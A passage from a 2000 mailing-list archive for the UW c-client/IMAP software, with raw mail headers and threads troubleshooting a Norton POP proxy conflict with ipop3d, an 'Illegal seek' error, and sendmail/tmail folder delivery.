5.6.0? I always get compilation errors. I can use a module compiled with 5.005, anyway. []'s Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 14 08:10:45 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Apr 2000 08:10:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA11881 for ; Fri, 14 Apr 2000 08:10:43 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA22204; Fri, 14 Apr 2000 08:10:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA23731; Fri, 14 Apr 2000 08:09:57 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA45798 for ; Fri, 14 Apr 2000 08:06:28 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA08981 for ; Fri, 14 Apr 2000 08:06:27 -0700 Received: from europa.gatecom.com (IDENT:ptr@ppp120-t.gatecom.com [209.69.204.66]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA22128 for ; Fri, 14 Apr 2000 08:06:25 -0700 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id LAA00728; Fri, 14 Apr 2000 11:18:12 -0400 Message-Id: <200004141518.LAA00728@europa.gatecom.com> Date: Fri, 14 Apr 2000 11:18:12 EDT Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@CAC.Washington.EDU Subject: POP3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.253 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've run into an interesting problem with the UW POP3 daemon and use with Norton's anti-virus. Apparently, Norton runs a POP proxy on the local machine, and has the POP3 client software talk via the local loopback address. When a request goes to check mail, the POP3 client requests the mail via the POPproxy, which then grabs the mail from the mail server, POPproxy scans the mail for nasties and then passes it along to the mail client. The problem lies in the fact that for whatever reason, the POPproxy software loves to attempt multiple POP3 sessions. My POP3 daemon immediately returns "mailbox in use", and the entire thing grinds to a halt. Has anyone experienced this problem? Symantec is of little use, their response has been "we officially follow all POP3 protocols, read the RFC's and fix your POP software". Ok, I will. Yippee. Thanks... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 14 10:57:28 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Apr 2000 10:57:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA16889 for ; Fri, 14 Apr 2000 10:57:27 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA27070; Fri, 14 Apr 2000 10:57:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA17107; Fri, 14 Apr 2000 10:56:32 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA44492 for ; Fri, 14 Apr 2000 10:55:25 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA08528 for ; Fri, 14 Apr 2000 10:55:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (major@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA27012 for ; Fri, 14 Apr 2000 10:55:24 -0700 Message-Id: Date: Fri, 14 Apr 2000 10:37:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ptr@gatecom.com Cc: c-client@CAC.Washington.EDU Subject: re: POP3 In-Reply-To: <200004141518.LAA00728@europa.gatecom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 14 Apr 2000 11:18:12 EDT, J T Breitner wrote: > The problem lies in the fact that for whatever reason, the POPproxy software > loves to attempt multiple POP3 sessions. This is a violation of the POP3 specification, which explictly refers to a lock being applied when a session is active. It is also a sign of extremely poor programming. There is no excuse for a POP3 client to open more than one POP3 session at a time. POP3 is completely network I/O bound; there is no performance gain possible with multiple sessions. > Symantec is of little use, their response > has been "we officially follow all POP3 protocols, read the RFC's and fix > your POP software". Ok, I will. Yippee. Here's the fix: delete Symantec's client. I'd also post the fact that Symantec refuses to acknowledge their bug and instead tries to bluster their way around it. From pinedev@shivax2.cac.washington.edu Fri Apr 14 12:29:04 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Apr 2000 12:29:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA19544 for ; Fri, 14 Apr 2000 12:29:02 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA23450; Fri, 14 Apr 2000 12:29:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA15910; Fri, 14 Apr 2000 12:28:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA40010 for ; Fri, 14 Apr 2000 12:27:07 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA00420 for ; Fri, 14 Apr 2000 12:27:07 -0700 Received: from europa.gatecom.com (IDENT:ptr@ppp120-t.gatecom.com [209.69.204.66]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA23409; Fri, 14 Apr 2000 12:27:02 -0700 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id PAA01523; Fri, 14 Apr 2000 15:38:59 -0400 Message-Id: <200004141938.PAA01523@europa.gatecom.com> Date: Fri, 14 Apr 2000 15:38:59 EDT Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: MRC@CAC.Washington.EDU Cc: c-client@CAC.Washington.EDU Subject: re: POP3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.253 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 14 Apr 2000 10:37:52 -0700 (PDT), Mark Crispin MRC@CAC.Washington.EDU wrote: > This is a violation of the POP3 specification, which explictly refers to a > lock being applied when a session is active. I have stated my case with them, and of course *I* am the idiot in this case. Nevertheless, I'm still supporting *their* customer for *their* product. Wait, I *am* the idiot in this case... > > It is also a sign of extremely poor programming. There is no excuse for a > POP3 client to open more than one POP3 session at a time. POP3 is completely > network I/O bound; there is no performance gain possible with multiple > sessions. Agreed. I'm in the process of doing a little network sniffing to capture this thing in the act and see what exactly it is doing. With this documented problem, I'll re-approach them. From pinedev@shivax2.cac.washington.edu Fri Apr 14 19:02:36 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Apr 2000 19:02:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA26021 for ; Fri, 14 Apr 2000 19:02:34 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA00995; Fri, 14 Apr 2000 19:02:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id TAA11340; Fri, 14 Apr 2000 19:01:56 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id TAA40032 for ; Fri, 14 Apr 2000 19:01:10 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA00968 for ; Fri, 14 Apr 2000 19:01:10 -0700 Received: from europa.gatecom.com (IDENT:ptr@ppp141-t.gatecom.com [209.69.204.87]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA07036; Fri, 14 Apr 2000 19:01:06 -0700 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id WAA02924; Fri, 14 Apr 2000 22:13:14 -0400 Message-Id: <200004150213.WAA02924@europa.gatecom.com> Date: Fri, 14 Apr 2000 22:13:13 EDT Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: MRC@CAC.Washington.EDU Cc: c-client@CAC.Washington.EDU Subject: re: POP3 (update) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.8 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 14 Apr 2000 10:37:52 -0700 (PDT), Mark Crispin MRC@cac.washington.edu wrote: > This is a violation of the POP3 specification, which explictly refers to a > lock being applied when a session is active. After some sniffing, I figured out what's going on with Symantec's Virus Scan 2000. It is, as you eluded to, poor programming. Norton modifies the mail settings in "known" clients (Netscape, Outlook, Eudora and possibly a few others) to retrieve mail through their popproxy.exe. I suspect that the proxy calls their filtering upon receipt of the message before passing it to the user's client software. In any respect, the popproxy isn't all that robust. Given the right conditions within a particular message, the popproxy simply quits doing its job without disconnecting from ipopd. It'll stay that way until ipopd times-out. Of course, popproxy isn't smart enough to know that other instances of itself are running, so when Outlook (similarily not too smart) decides the specified time has elapsed and it's time to check mail again, creates another instance of popproxy and it too connects to ipopd. ipopd, tiring of the nonsense of the Windows world, responds with the mailbox locked message. It is beyond ironic that the contents of the message that caused popproxy to barf was one of those "Virus Warning" messages. I certainly appreciated the humor in that. I should bill Symantec for this. Have a wonderful weekend... From pinedev@shivax2.cac.washington.edu Mon Apr 17 02:03:40 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Apr 2000 02:03:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA20532 for ; Mon, 17 Apr 2000 02:03:39 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA18140; Mon, 17 Apr 2000 02:03:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id CAA24235; Mon, 17 Apr 2000 02:03:03 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id BAA36998 for ; Mon, 17 Apr 2000 01:59:48 -0700 Received: from mail.rdc2.bc.home.com (ha1.rdc2.bc.wave.home.com [24.2.10.68]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA18786 for ; Mon, 17 Apr 2000 01:59:48 -0700 Received: from home.com ([24.113.40.206]) by mail.rdc2.bc.home.com (InterMail vM.4.01.02.17 201-229-119) with ESMTP id <20000417085947.FWZW10880.mail.rdc2.bc.home.com@home.com> for ; Mon, 17 Apr 2000 01:59:47 -0700 Message-Id: <38FAD1DB.44C36732@home.com> Date: Mon, 17 Apr 2000 01:56:59 -0700 Reply-To: stewarta.public@home.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Stewart To: c-client@u.washington.edu Subject: IMAP + Spruce MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------74D0A9C089A5D060DCA4A3AE" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------74D0A9C089A5D060DCA4A3AE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all, I've been using the imapd server for about a year now, and I'm trying this client called spruce. Runs with the GTK+ toolkit and apparantly it supports imap. Apparantly. Anyway, I'm wondering if anybody has used Spruce with wu-imapd (compiled with md5 lib, and no plaintext auth) and have Spruce stall, saying that its NOT a valid imap server. Any help would be appreciated, thnx --------------74D0A9C089A5D060DCA4A3AE Content-Type: text/x-vcard; charset=us-ascii; name="stewarta.public.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Andrew Stewart Content-Disposition: attachment; filename="stewarta.public.vcf" begin:vcard n:Stewart;Andrew tel;cell:836 - xxxx tel;home:263 - 9733 x-mozilla-html:FALSE org:tangent.org adr:;;;;;; version:2.1 email;internet:stewarta.public@home.com title:Web/Network Engineer fn:Andrew Stewart end:vcard --------------74D0A9C089A5D060DCA4A3AE-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 18 14:56:32 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Apr 2000 14:56:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA12555 for ; Tue, 18 Apr 2000 14:56:30 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA11699; Tue, 18 Apr 2000 14:56:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA23560; Tue, 18 Apr 2000 14:55:15 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA46948 for ; Tue, 18 Apr 2000 14:51:34 -0700 Received: from mail.remoteit.com (IDENT:root@[63.209.164.9]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA21461 for ; Tue, 18 Apr 2000 14:51:33 -0700 Received: from larry (np-mdm2.remoteit.com [63.209.166.2]) by mail.remoteit.com (8.9.3/8.9.3) with SMTP id QAA28027 for ; Tue, 18 Apr 2000 16:52:41 -0400 Message-Id: <003301bfa980$2105cec0$02a6d13f@larry> Date: Tue, 18 Apr 2000 17:50:36 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Lawrence Abrams" To: Subject: Anyone know what this Pop3 error means? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN When I looked at my console today I noticed i had a series of errors on my screen that were like : [ipop3d] Illegal seek error while reading line Anyone know what this means? Lawrence Abrams -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 18 15:07:00 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Apr 2000 15:07:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA08213 for ; Tue, 18 Apr 2000 15:06:59 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA06445; Tue, 18 Apr 2000 15:06:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA19864; Tue, 18 Apr 2000 15:05:49 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA27510 for ; Tue, 18 Apr 2000 15:02:26 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA12157 for ; Tue, 18 Apr 2000 15:02:25 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA00661; Tue, 18 Apr 2000 15:02:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (smj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id PAA04515; Tue, 18 Apr 2000 15:02:21 -0700 Message-Id: Date: Tue, 18 Apr 2000 14:59:35 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lawrence Abrams Cc: c-client@u.washington.edu Subject: re: Anyone know what this Pop3 error means? In-Reply-To: <003301bfa980$2105cec0$02a6d13f@larry> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Apr 2000 17:50:36 -0400, Lawrence Abrams wrote: > [ipop3d] Illegal seek error while reading line Hmm, an ESPIPE as the last error, that's a new one on me. Anyway, 99.9% of the time, it's really an end of file condition on the input socket. If you upgrade to the latest ipop3d, on: ftp://ftp.cac.washington.edu/mail/imap.tar.Z you'll get the correct "Command stream end of file" instead of "Illegal seek error". From pinedev@shivax2.cac.washington.edu Wed May 3 08:14:13 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 08:14:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA11690 for ; Wed, 3 May 2000 08:14:12 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA28055; Wed, 3 May 2000 08:14:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA20982; Wed, 3 May 2000 08:13:19 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA38346 for ; Wed, 3 May 2000 08:11:20 -0700 Received: from OSFserver.le.infn.it (OSFserver.le.infn.it [192.84.152.11]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA30003 for ; Wed, 3 May 2000 08:11:18 -0700 Received: from server.le.infn.it (server.le.infn.it [192.84.152.212]) by OSFserver.le.infn.it (8.9.2/8.9.2) with SMTP id RAA12225; Wed, 3 May 2000 17:11:09 +0200 (MET DST) Message-Id: Date: Wed, 3 May 2000 17:11:09 +0200 (MET DST) Reply-To: "Enrico M.V. Fasanelli" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Enrico M.V. Fasanelli" To: c-client@u.washington.edu Subject: Help on sendmail-tmail & -procmail-dmail chain MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-2018735007-957366400=:7211" Content-ID: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-2018735007-957366400=:7211 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Dear Mark, dear all. Maybe that tis is not the correct list, my apologies if that. I've set up a imap-4.7c1-based imap/pop server using the default mbx format and the user dir in /var/imap/. Te box, a Digital UNIX 4.0F, ha also sendmail 8.10.0. I've changed the Mlocal line in the /etc/mail sendmail.cf to force the use of tmail: Mlocal, P=/usr/local/sbin/tmail, F=lsDFMAw5:/|@qPrn+, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, E=\r\n,T=DNS/RFC822/X-Unix, A=tmail $u but if I send a message to enrico+prova.tmail@mbox.le.infn.it, the message is delivered to INBOX. The folder prova.tmail exist (created via Netscape 4.7 [en] - 19990915). In attach the extract of the mail.log file Any hints ? TIA for Your help Greetings Enrico Enrico M.V. Fasanelli Phone +39 0832 320.435/448 Istituto Nazionale Fisica Nucleare Fax +39 0832 325128 Sezione di Lecce mailto:Enrico.M.V.Fasanelli@le.infn.it Servizio di Calcolo & Reti Via per Arnesano, I-73100 LECCE (Italy) --0-2018735007-957366400=:7211 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="mail.log" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: TWF5ICAzIDE2OjAxOjU4IG1ib3ggc2VuZG1haWxbODYxOF06IGU0M0Uxd0Ew ODYxODogZnJvbT08RW5yaWNvLk0uVi5GYXNhbmVsbGlAbGUuaW5mbi5pdD4s IHNpemU9ODE1LCBjbGFzcz0wLCBucmNwdHM9MSwgbXNnaWQ9PFBpbmUuT1NG LjMuOTVhLjEwMDA1MDMxNjAxMzMuNzIxMU8tMTAwMDAwQHNlcnZlci5sZS5p bmZuLml0PiwgcHJvdG89RVNNVFAsIGRhZW1vbj1NVEEsIHJlbGF5PU9TRnNl cnZlci5sZS5pbmZuLml0IFsxOTIuODQuMTUyLjExXQ0KTWF5ICAzIDE2OjAx OjU4IG1ib3ggc2VuZG1haWxbODYyMV06IGU0M0Uxd0EwODYxODogZm9yd2Fy ZCAvYWZzL2xlLmluZm4uaXQvdXNlci9lL2Vucmljby8uZm9yd2FyZC5tYm94 OiBXb3JsZCB3cml0YWJsZSBkaXJlY3RvcnkNCk1heSAgMyAxNjowMTo1OCBt Ym94IHNlbmRtYWlsWzg2MjFdOiBlNDNFMXdBMDg2MTg6IGZvcndhcmQgL2Fm cy9sZS5pbmZuLml0L3VzZXIvZS9lbnJpY28vLmZvcndhcmQ6IFdvcmxkIHdy aXRhYmxlIGRpcmVjdG9yeQ0KTWF5ICAzIDE2OjAxOjU4IG1ib3ggdG1haWxb ODYyMl06IGRlbGl2ZXJpbmcgdG8gZW5yaWNvK0lOQk9YDQpNYXkgIDMgMTY6 MDE6NTggbWJveCB0bWFpbFs4NjIyXTogVmVyaWZ5aW5nIHNhZmUgZGVsaXZl cnkgdG8gL3Zhci9pbWFwL2Vucmljby9JTkJPWCBieSBVSUQgMjAyMDcNCk1h eSAgMyAxNjowMTo1OCBtYm94IHRtYWlsWzg2MjJdOiBtYnggYXBwZW5kaW5n IHRvICNkcml2ZXIubWJ4L0lOQk9YIChmaWxlIC92YXIvaW1hcC9lbnJpY28v SU5CT1gpDQpNYXkgIDMgMTY6MDE6NTggbWJveCB0bWFpbFs4NjIyXTogZGVs aXZlcmVkIHRvIC92YXIvaW1hcC9lbnJpY28vSU5CT1gNCk1heSAgMyAxNjow MTo1OCBtYm94IHRtYWlsWzg2MjJdOiBWZXJpZnlpbmcgc2FmZSBkZWxpdmVy eSB0byAvdmFyL2ltYXAvZW5yaWNvL0lOQk9YIGJ5IFVJRCAyMDIwNw0KTWF5 ICAzIDE2OjAxOjU4IG1ib3ggdG1haWxbODYyMl06IGFsbCByZWNpcGllbnRz IGRlbGl2ZXJlZA0KTWF5ICAzIDE2OjAxOjU4IG1ib3ggc2VuZG1haWxbODYy MV06IGU0M0Uxd0EwODYxODogdG89PGVucmljbytwcm92YS50bWFpbEBtYm94 LmxlLmluZm4uaXQ+LCBkZWxheT0wMDowMDowMCwgeGRlbGF5PTAwOjAwOjAw LCBtYWlsZXI9bG9jYWwsIHByaT0zMDI5MSwgcmVsYXk9cHJvdmEudG1haWws IGRzbj0yLjAuMCwgc3RhdD1TZW50DQo= --0-2018735007-957366400=:7211-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 3 08:30:17 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 08:30:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA29010 for ; Wed, 3 May 2000 08:30:16 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA28526; Wed, 3 May 2000 08:30:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA28544; Wed, 3 May 2000 08:29:39 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA47878 for ; Wed, 3 May 2000 08:29:10 -0700 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA15859 for ; Wed, 3 May 2000 08:29:08 -0700 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.10.1/8.10.1) with ESMTP id e43FT7910285; Wed, 3 May 2000 17:29:07 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail1.siemens.de (8.10.1/8.10.1) with ESMTP id e43FT6r04144; Wed, 3 May 2000 17:29:06 +0200 (MET DST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id J56WH8PK; Wed, 3 May 2000 19:32:36 +0400 Message-Id: <001401bfb514$516218e0$21c9ca95@mow.siemens.ru> Date: Wed, 3 May 2000 19:29:05 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "Enrico M.V. Fasanelli" , Subject: RE: Help on sendmail-tmail & -procmail-dmail chain In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft 